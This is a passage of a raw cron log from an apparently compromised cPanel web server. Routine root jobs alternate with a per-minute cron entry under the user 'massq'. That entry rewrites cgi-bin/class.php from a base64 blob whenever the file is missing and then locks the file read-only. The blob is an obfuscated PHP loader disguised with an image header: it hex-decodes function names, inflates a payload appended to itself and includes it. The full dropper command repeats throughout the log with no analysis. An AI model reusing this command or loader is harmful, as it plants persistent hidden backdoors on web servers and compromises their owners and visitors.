R0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:20:01 server CROND[18301]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:20:01 server CROND[18304]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 23:20:01 server CROND[18305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:20:01 server CROND[18306]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 23:20:01 server CROND[18303]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:21:01 server CROND[18423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:22:01 server CROND[18577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:23:01 server CROND[18664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:24:01 server CROND[18738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:25:01 server CROND[18814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:25:01 server CROND[18815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:25:01 server CROND[18816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:26:01 server CROND[18948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:27:01 server CROND[19104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:27:01 server CROND[19105]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 23:28:01 server CROND[19168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:29:01 server CROND[19228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:30:01 server CROND[19288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:30:01 server CROND[19289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:30:01 server CROND[19296]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 23:30:01 server CROND[19297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:31:01 server CROND[19414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:32:01 server CROND[19487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
